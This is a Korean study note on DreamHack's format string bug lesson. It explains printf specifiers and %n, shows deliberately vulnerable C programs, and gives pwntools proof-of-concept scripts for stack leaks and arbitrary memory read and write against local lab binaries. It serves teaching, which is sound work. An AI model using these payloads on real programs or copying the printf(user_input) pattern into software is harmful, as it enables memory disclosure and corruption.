[DreamHack] Stage 10 : Format String Bug 이론
C언어에는 포맷 스트링을 이용해 다양한 형태로 값을 출력한다 printf 함수를 이용해서.
C언어에는 printf 외에도 포맷 스트링을 인자로 사용하는 함수들이 많다. 더 추가하면
scanf , fprintf,, fscanf, sprintf, sscanf가 있다. f로 끝나는 이유는 formatted이고, 문자열을 다루는 함수면 포멧 스트링을 처리할 것이다.
위의 함수들은 포멧 스트링을 채울 값들을 레지스터나 스택에서 가져온다. 이 함수들은 내부에 포멧 스티링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다 그래서 사용자가 포멧 스트링을 입력할 수 있으면 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다. 심지어 다양한 형식지정자를 활용하여 원하는 스택값을 읽거나 스택에 임의값을 쓰는 것도 가능하다.
포맷 스트링 함수를 잘못 사용하여 발생하는 위와 같은 버그를 포멧 스트링 버그(Format String Bug, FSB)라고 부른다.
<포멧 스트링>
포멧 스트링은 아래와 같은 구성이다.
먼저 형식 지정자(specifier)는 인자를 어떻게 사용할지 지정한다.
형식 지정자 | 설명 |
d | 부호있는 10진수 정수 |
s | 문자열 |
x | 부호없는 16진수 정수 |
n | 인자에 현재까지 사용된 문자열의 길이를 저장 |
p | void형 포인터 |
%n은 프로그래머가 완선된 포멧 스트링의 길이를 코드에 사용해야한다면, %n을 이용해 이 문제를 해결할 수 있다.
width
최소 너비를 지정한다. 치환되는 문자열이 이 값보다 짧을경우, 공백문자를 패딩해준다.
너비 지정자 | 설명 |
정수 | 정수의 값만큼을 최소 너비로 지정 |
* | 인자의 값만큼을 최소너비로 지정한다. |
parameter
: 참조할 인자의 인덱스를 지정한다. 이 필드의 끝은 $로 표기한다. 인덱스의 범위를 전달된 인자의 갯수와 비교X
<포멧 스트링 버그>
포멧 스트링 버그는 포멧 스트링 함수의 잘못된 사용으로 발생하는 버그를 이른다. 포멧 스트링을 사용자가 입력할 수 있을 떄, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.
아래 8번째 줄에서 사용자가 입력한 buf를 인자로 printf를 호출하기때문에 포맷 스트링 버그가 발생한다. auth 변수를 0xff로 덮어쓰는 포멧 스트링을 입력해보자.
// fsb_auth.c
#include <stdio.h>
int main(void) {
int auth = 0x42424242;
char buf[32] = {0, };
read(0, buf, 32);
printf(buf);
// make auth to 0xff
}
<레지스터 및 스택 읽기>
아래의 코드는 사용자가 임의의 포맷 스트링을 입력할 수 있는 코드의 에이다.
이를 컴파일하고 %p %p %p %p %p %p %p %p %p %p를 포맷 스트링을 입력하면, 값들이 출력되는 것을 볼 수 있다.
전달한 인자가 없는데 포맷 스트링이 10개의 인자를 요구하면서 레지스터와 스택의 값이 출력된 것이다.
x64의 함수 호출규약을 생각하면, 이들이 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]의 값임을 알 수 있다.
(포멧 스트링 버그 ㅣ 스택 릭)
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
(사용자가 임의의 포맷 스트링 입력 가능한 코드)
<임의 주소 읽기>
스택 읽기의 결과에서 주목할 점은 6번째 출력값인 [rsp]에서부터는 사용자의 입력을 8글자씩 참조한다는 것이다.
이것을 응용하면 포맷 스트링에 참조하고 싶은 주소를 넣고 %[n]$s 의 형식으로 그 주소의 데이터를 읽을 수 있다.
아래의 코드가 이를 보여주는 PoC이다.
// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
또 다른 예제로, 포맷 스트링 버그: 임의 주소 읽기가 있다.
#!/usr/bin/python3
#Name: fsb_aar.py
from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()
<임의 주소 쓰기>
임의 주소 읽기에서와 마찬가지로 포맷 스트링에 임의의 주소를 넣고 %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다. 아래 코드는 이를 보여주는 PoC이다.
#!/usr/bin/python3
#Name: fsb_aar.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
결과는
이와 같이 나온다.
아래 코드는 임의 주소 쓰기 예제이다.
// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}